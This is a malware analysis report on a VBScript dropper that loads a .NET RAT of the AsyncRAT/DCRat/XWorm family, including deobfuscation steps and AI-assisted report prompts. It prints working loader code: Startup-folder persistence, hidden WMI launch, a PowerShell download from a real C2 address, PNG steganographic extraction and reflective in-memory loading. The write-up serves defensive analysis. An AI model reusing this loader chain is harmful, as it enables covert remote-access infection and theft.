Source
- Malware Bazaar: https://bazaar.abuse.ch/sample/ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7/
- File type: VBS
- Size: ~925 KB
Analysis
Obfuscation
There were various forms of obfuscation used in the VBScript. It was very similar to the one previously seen in a VBS downloader
- Dead/junk code with non-ASCII characters:
enneagon = (enneagon) & concinnate(concinnate("ᘣ⬂ᎏὕ❱ⴏѶỿ៦៉ኩᢚЄϴᆰ","ᘣ⬂ᎏὕ❱ⴏѶỿ៦៉ኩᢚЄϴᆰ",""),"ᘣ⬂ᎏὕ❱ⴏѶỿ៦៉ኩᢚЄϴᆰ","ᘣ⬂ᎏὕ❱ⴏѶỿ៦៉ኩᢚЄϴᆰ")
enneagon = enneagon & concinnate(concinnate("ᘣ⬂ᎏὕ❱ⴏѶỿ៦៉ኩᢚЄϴᆰ","ᘣ⬂ᎏὕ❱ⴏѶỿ៦៉ኩᢚЄϴᆰ",""),"ᘣ⬂ᎏὕ❱ⴏѶỿ៦៉ኩᢚЄϴᆰ","ᘣ⬂ᎏὕ❱ⴏѶỿ៦៉ኩᢚЄϴᆰ") & ""
- String fragmentation:
supranational = supranational & "$watamans='hᘣ⬂ᎏ...
supranational = supranational & "$watamans='hᘣ⬂ᎏ...
- String manipulation with
SplitVBS function and then joining:
...
filler = Split(supranational, "ᘣ⬂ᎏὕ❱ⴏѶỿ៦៉ኩᢚЄϴᆰ")
unknightliness = ""
For tellurane = 0 To UBound(filler)
unknightliness = unknightliness & filler(tellurane)
Next
Deobfuscation
Utilities: https://github.com/nikhilh-20/re_tools/tree/main/vbs
> python .\vbs_remove_deadcode.py --input C:\Users\Ashura\Desktop\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7.vbs --output C:\Users\Ashura\Desktop\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7_pass1.vbs --aggressive
{"changed":3724,"input_bytes":940598,"output_bytes":47644,"output_path":"C:\\Users\\Ashura\\Desktop\\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7_pass1.vbs"}
> python .\vbs_propagate_constants.py --input C:\Users\Ashura\Desktop\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7_pass1.vbs --output C:\Users\Ashura\Desktop\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7_pass2.vbs
{"changed":23,"substituted_reads":23,"input_bytes":47644,"output_bytes":365921,"output_path":"C:\\Users\\Ashura\\Desktop\\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7_pass2.vbs"}
> python .\vbs_fold_concat.py --input C:\Users\Ashura\Desktop\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7_pass2.vbs --output C:\Users\Ashura\Desktop\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7_pass3.vbs
{"changed":19,"input_bytes":365921,"output_bytes":365700,"output_path":"C:\\Users\\Ashura\\Desktop\\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7_pass3.vbs"}
> python .\vbs_remove_deadcode.py --input C:\Users\Ashura\Desktop\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7_pass3.vbs --output C:\Users\Ashura\Desktop\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7_pass4.vbs
{"changed":22,"input_bytes":365700,"output_bytes":46762,"output_path":"C:\\Users\\Ashura\\Desktop\\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7_pass4.vbs"}
> python .\vbs_fold_split_calls.py --input C:\Users\Ashura\Desktop\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7_pass4.vbs --output C:\Users\Ashura\Desktop\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7_pass5.vbs
{"changed":4,"input_bytes":46762,"output_bytes":10782,"output_path":"C:\\Users\\Ashura\\Desktop\\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7_pass5.vbs"}
> python .\vbs_fold_array_join_loops.py --input C:\Users\Ashura\Desktop\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7_pass5.vbs --output C:\Users\Ashura\Desktop\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7_pass6.vbs
{"changed":4,"input_bytes":10782,"output_bytes":12697,"output_path":"C:\\Users\\Ashura\\Desktop\\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7_pass6.vbs"}
> python .\vbs_remove_deadcode.py --input C:\Users\Ashura\Desktop\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7_pass6.vbs --output C:\Users\Ashura\Desktop\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7_pass7.vbs
{"changed":5,"input_bytes":12697,"output_bytes":6587,"output_path":"C:\\Users\\Ashura\\Desktop\\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7_pass7.vbs"}
> python .\vbs_propagate_constants.py --input C:\Users\Ashura\Desktop\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7_pass7.vbs --output C:\Users\Ashura\Desktop\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7_pass8.vbs
{"changed":7,"substituted_reads":7,"input_bytes":6587,"output_bytes":18316,"output_path":"C:\\Users\\Ashura\\Desktop\\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7_pass8.vbs"}
> python .\vbs_fold_split_calls.py --input C:\Users\Ashura\Desktop\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7_pass8.vbs --output C:\Users\Ashura\Desktop\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7_pass9.vbs
{"changed":1,"input_bytes":18316,"output_bytes":15724,"output_path":"C:\\Users\\Ashura\\Desktop\\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7_pass9.vbs"}
> python .\vbs_fold_array_join_loops.py --input C:\Users\Ashura\Desktop\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7_pass9.vbs --output C:\Users\Ashura\Desktop\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7_pass10.vbs
{"changed":1,"input_bytes":15724,"output_bytes":18011,"output_path":"C:\\Users\\Ashura\\Desktop\\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7_pass10.vbs"}
> python .\vbs_remove_deadcode.py --input C:\Users\Ashura\Desktop\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7_pass10.vbs --output C:\Users\Ashura\Desktop\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7_pass11.vbs
{"changed":5,"input_bytes":18011,"output_bytes":17880,"output_path":"C:\\Users\\Ashura\\Desktop\\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7_pass11.vbs"}
Functionality
Prompt
/malware-analysis Analyze @C:\Users\Ashura\Desktop\ecf36a1837197b217b8efbf43a20b30145ab60eefc3cd4577bae9057aa46f4c7_pass11.vbs. Write report in markdown format into @report.md It should contain the below sections:
1. Executive summary
2. Details - avoid variable names granularity. retain behavioral specifics like created folder names, C2 contact, etc.
3. IOCs
Reference the source code when stating functionality. Like:
```<source_code>```
<functionality>
Use multiple Haiku sub-agents to confirm your findings. Use web search to ground your facts and assumptions.
Flowchart Prompt
Based on @report.md, can a Mermaid flowchart be written into FLOW.mmd? Keep the flowchart in natural language. Avoid variable name granularity. You can retain created folder names and contacted C2
Flowchart
flowchart TD
A([VBScript executed by user or system]) --> B{Is a copy already in\nthe Startup folder?}
B -- No --> C[Copy script to\n%APPDATA%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\\nvia hidden PowerShell Copy-Item]
C --> D
B -- Yes --> D[Build obfuscated PowerShell command\nusing Unicode-junk interleaving,\ncharacter-array splitting,\nand string fragmentation]
D --> E[Launch PowerShell silently via WMI\nWin32_Process.Create with ShowWindow = 0\nParent process appears as WmiPrvSE.exe]
E --> F[PowerShell contacts C2\nGET http://193.104.58.65/rumpaugust.png\nUser-Agent: Mozilla/5.0]
F --> G{Do markers IN- and -in1\nexist in the PNG response?}
G -- No --> H([Abort — payload inert without C2-hosted file])
G -- Yes --> I[Extract text between IN- and -in1\nReplace # with A\nReverse the entire string\nBase64-decode to raw bytes]
I --> J[Load byte array as .NET assembly\ndirectly into PowerShell process memory\nNo file written to disk]
J --> K[Locate obfuscated entry-point class\nand method inside the loaded assembly\nby name via reflection]
K --> L[Invoke RAT entry point\nwith 21 AES-256-CBC encrypted\nconfiguration strings\nHosts · Port · Mutex · Anti-analysis flags · Group ID]
L --> M([AsyncRAT / DCRat / XWorm RAT active\nFull remote access established\nKeylogging · Screenshots · Shell · File exfiltration])
style A fill:#4a4a4a,color:#fff
style H fill:#b94040,color:#fff
style M fill:#b94040,color:#fff
style C fill:#7a4a00,color:#fff
style E fill:#7a4a00,color:#fff
style F fill:#7a4a00,color:#fff
style I fill:#7a4a00,color:#fff
style J fill:#7a4a00,color:#fff
style K fill:#7a4a00,color:#fff
style L fill:#7a4a00,color:#fff
Report
The functionality of this sample is closely related to the one previously described in VBS downloader. Similarities and differences are noted at the bottom.
Executive Summary
This sample is a VBScript dropper and steganographic .NET RAT loader. When executed, it immediately copies itself into the Windows Startup folder to survive reboots, then silently spawns a heavily obfuscated PowerShell payload via Windows Management Instrumentation (WMI) with its window hidden.
The PowerShell payload reaches out to a remote server at 193[.]104[.]58[.]65 and downloads a PNG image (rumpaugust.png). A .NET assembly is hidden inside the PNG file body between the text markers IN- and -in1 — a steganographic concealment technique that bypasses network-layer inspection tools scanning for executable file signatures. The loader reverses and Base64-decodes the extracted content to reconstruct the assembly bytes, then reflectively loads and executes it in memory without writing the payload to disk.
The loaded assembly is consistent with the AsyncRAT / DCRat / XWorm family of commodity remote access trojans. It receives an array of 21 AES-encrypted configuration strings (C2 host, port, mutex, anti-analysis flags, etc.) that were embedded in the VBScript itself.
Details
Startup Persistence
On first execution the script resolves its own full path via WScript.ScriptFullName, identifies the current user’s Startup folder via WScript.Shell.SpecialFolders("Startup"), and checks whether a copy already exists there.
negrophil = WScript.ScriptFullName
overconsumption = hedriophthalma.SpecialFolders("Startup")
superpremium = overconsumption & "\" & uncoined.GetFileName(negrophil)
If Not uncoined.FileExists(superpremium) Then
leniting = "powershell -nop -w hidden -c Copy-Item -LiteralPath '" & negrophil & "' -Destination '" & superpremium & "' -Force"
hedriophthalma.Run leniting, 0, False
End If
If the copy does not yet exist, a hidden PowerShell Copy-Item command places the VBS into the Startup folder, ensuring it re-runs on every subsequent logon.
WMI-Based Silent Execution
Rather than calling WScript.Shell.Run directly, the final PowerShell command is launched via the WMI Win32_Process.Create method with a Win32_ProcessStartup instance that sets ShowWindow = 0 (completely hidden window). This grants the process creation a WMI service parent (WmiPrvSE.exe) which can bypass simple parent-process detection rules.
Set nabumetone = GetObject("winmgmts:\\.\root\cimv2")
Set devilment = nabumetone.Get("Win32_ProcessStartup")
Set charadrioid = devilment.SpawnInstance_
charadrioid.ShowWindow = 0
Set arranging = nabumetone.Get("Win32_Process")
obsecrates = arranging.Create(bazaar, Null, charadrioid, zorses)
bazaar contains the fully-assembled powershell.exe -NoProfile -ExecutionPolicy Bypass -Command "..." string. On Error Resume Next suppresses any errors silently.
C2 Contact and PNG Download
The PowerShell payload (deobfuscated) opens an HTTP connection to the C2 server using [System.Net.HttpWebRequest] with a spoofed Mozilla user-agent string to blend in with browser traffic, then reads the full PNG response body as text:
$watamans = 'http://193.104.58.65/rumpaugust.png'
$compossibility = [System.Net.HttpWebRequest]::Create('http://193.104.58.65/rumpaugust.png')
$compossibility.UserAgent = 'Mozilla/5.0'
$sfregazzi = $compossibility.GetResponse().GetResponseStream()
$reader = New-Object IO.StreamReader($sfregazzi)
$kourbash = $reader.ReadtoEnd()
The server at 193[.]104[.]58[.]65 serves a PNG file whose binary content contains the hidden .NET assembly.
Steganographic Payload Extraction
The .NET assembly is concealed inside the PNG file body between two ASCII text markers: IN- (start) and -in1 (end). The loader locates both markers, extracts the substring between them, applies two transformations, and reconstructs the original binary:
$anomocarpous = $kourbash.Substring($kourbash.IndexOf('IN-') + 'IN-'.Length,
$pajero - ($kourbash.IndexOf('IN-') + 'IN-'.Length))
$phassachate = $anomocarpous.Replace('#', 'A').ToCharArray()
$perforati = -join $phassachate[($phassachate.Length - 1)..0]
- Character substitution: All
#characters are replaced withA— undoing an encoding step applied when the payload was embedded. - String reversal: The entire extracted string is reversed character-by-character, converting the reversed Base64 back into a forward-readable Base64 string.
- Base64 decode:
[System.Convert]::FromBase64String()decodes the resulting string into a raw byte array ($hobblingly) containing the .NET PE image.
If either marker is absent from the server response, execution halts (if ($javaone_2008_ge -eq -1 -or $pajero -eq -1) { return }), making the payload inert without the specific C2-hosted file.
Reflective .NET Assembly Load
The byte array is loaded directly into the current PowerShell process’s AppDomain via [AppDomain]::CurrentDomain.Load() — a fileless in-memory execution technique that leaves no PE image on disk:
$bosta = [AppDomain]::CurrentDomain.GetType().GetMethod('Load', [byte[]])
$unswerving = $bosta.Invoke([AppDomain]::CurrentDomain, (, $hobblingly))
The call to GetMethod('Load', [byte[]]) explicitly selects the Assembly.Load(byte[]) overload via reflection rather than calling it directly, further defeating static API-import analysis.
RAT Activation
Once loaded, the assembly’s entry point is reached through a second layer of reflection: the loader enumerates the assembly’s types to find one named mpxnddVn (an obfuscated class name), then finds its method Otnmpxn, and invokes it with 21 Base64-encoded strings as arguments:
$monometallist = ($unswerving.GetTypes() | Where-Object Name -eq 'mpxnddVn' | Select-Object -First 1)
$galactotherapy = ($monometallist.GetMethods() | Where-Object Name -eq 'Otnmpxn' | Select-Object -First 1)
$galactotherapy.Invoke($null, [object[]]$landaulets)
The $landaulets array contains 21 entries (14 non-empty), each holding an AES-256-CBC encrypted configuration value. This parameter structure is consistent with the AsyncRAT / DCRat / XWorm family, where the constructor receives configuration fields in positions corresponding to: Hosts, Port, Version, Install flag, Mutex, Anti-analysis, BSOD-protection, Group ID, Pastebin fallback, and additional variant-specific flags. The decryption key is derived from the first entry using PBKDF2.
$landaulets[0] = 'PNGrHhvUeX8tCZxzdMqYjnGcfk9nsQIis36ayi7F2y0UHT0c2JqglPcqF+zF+HUrwIRNaYxR+ZD/YuTySzN/HQ==' (64 bytes — key material)
$landaulets[2] = '+doWLPsFlbfZq4dJzLB8M2GLu9fIIWENcb2a0Rm5CN3ro2Hxdla5Kx6MuJt8ytO7' (48 bytes — encrypted field)
$landaulets[3] = 'kCHfF23BRL6aWG3jRBL+JyN4Tt/24QXFwKAwYtDpV6w=' (32 bytes — encrypted field)
... (17 further entries omitted for brevity)
All configuration values remain encrypted at rest inside the VBScript.
IOCs
- Network:
| Type | Value |
|---|---|
| C2 IP | 193[.]104[.]58[.]65 |
| C2 URL | hxxp://193[.]104[.]58[.]65/rumpaugust.png |
| User-Agent | Mozilla/5.0 |
| Protocol | HTTP (port 80) |
| Payload markers in PNG | IN- (start), -in1 (end) |
- Host
| Type | Value |
|---|---|
| Persistence path | %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\<original_filename>.vbs |
| WMI class used | Win32_Process, Win32_ProcessStartup |
Similarities and Differences with Another Variant
As mentioned earlier, the functionality of this sample is closely related to the one previously described in VBS downloader.
Similarities
| Element | Both samples |
|---|---|
| PNG steganography technique | Payload embedded as text in PNG body |
| Extraction markers | IN- (start), -in1 (end) |
| Extraction transforms | #→A substitution, then string reversal, then Base64 decode |
| Reflective load | [AppDomain]::CurrentDomain.Load(byte[]), with 'Cu'+'rrentDomain' and 'Lo'+'ad' split identically |
| RAT class name | mpxnddVn |
| RAT entry method | Otnmpxn |
| WMI launch | Win32_Process.Create + Win32_ProcessStartup.ShowWindow = 0 → parent process is WmiPrvSE.exe |
| UA spoofing | Mozilla/5.0 |
| Error suppression | On Error Resume Next + try{}catch{} around RAT invocation |
Differences
| Element | pass11.vbs | vbs_downloader |
|---|---|---|
| C2 | 193[.]104[.]58[.]65/rumpaugust.png |
133[.]18[.]106[.]222/DV/ugo_050448.png |
| URL obfuscation | Plain text in PS payload | Base64+UTF-16LE encoded — URL never appears as plaintext in the script |
| Startup persistence | Yes — copies itself to %APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\ |
Absent — no persistence mechanism |
| Payload staging | PS command passed directly via -Command "..." |
Entire PS body stored in user env var sassolin; launched as Invoke-Expression $env:sassolin — hides payload from command-line telemetry |
| Download API | HttpWebRequest + StreamReader |
Net.WebClient.DownloadData() |
| RAT lookup method | Enumerates all types, filters by name (Where-Object Name -eq 'mpxnddVn') |
Direct GetType('OtnmpxnddVnptbN.mpxnddVn') — knows the full namespace |
| Config array | 21 entries (14 non-empty) | 18 entries (several empty) |
Interpretation
The shared steganography markers (IN-/-in1), identical string-splitting patterns for 'Cu'+'rrentDomain' and 'Lo'+'ad', and the same mpxnddVn/Otnmpxn class/method names indicate that these samples may have been sourced from the same builder or source kit. The differences indicate distinct builds or configurations:
- The other sample is more evasion-capable at the command-line level. Storing the PS payload in an environment variable means Sysmon Event ID 1, EDR command-line capture, and the initial
-CommandAMSI scan all see onlyInvoke-Expression $env:sassolin— nothing malicious. The sample described in this report passes the full payload inline and is more likely to be flagged by command-line monitoring. - The current sample adds startup persistence; the other does not — it is a single-shot downloader with no foothold mechanism.
- Different C2 infrastructure points to different campaigns or deployments, even if the underlying loader code may share the same origin.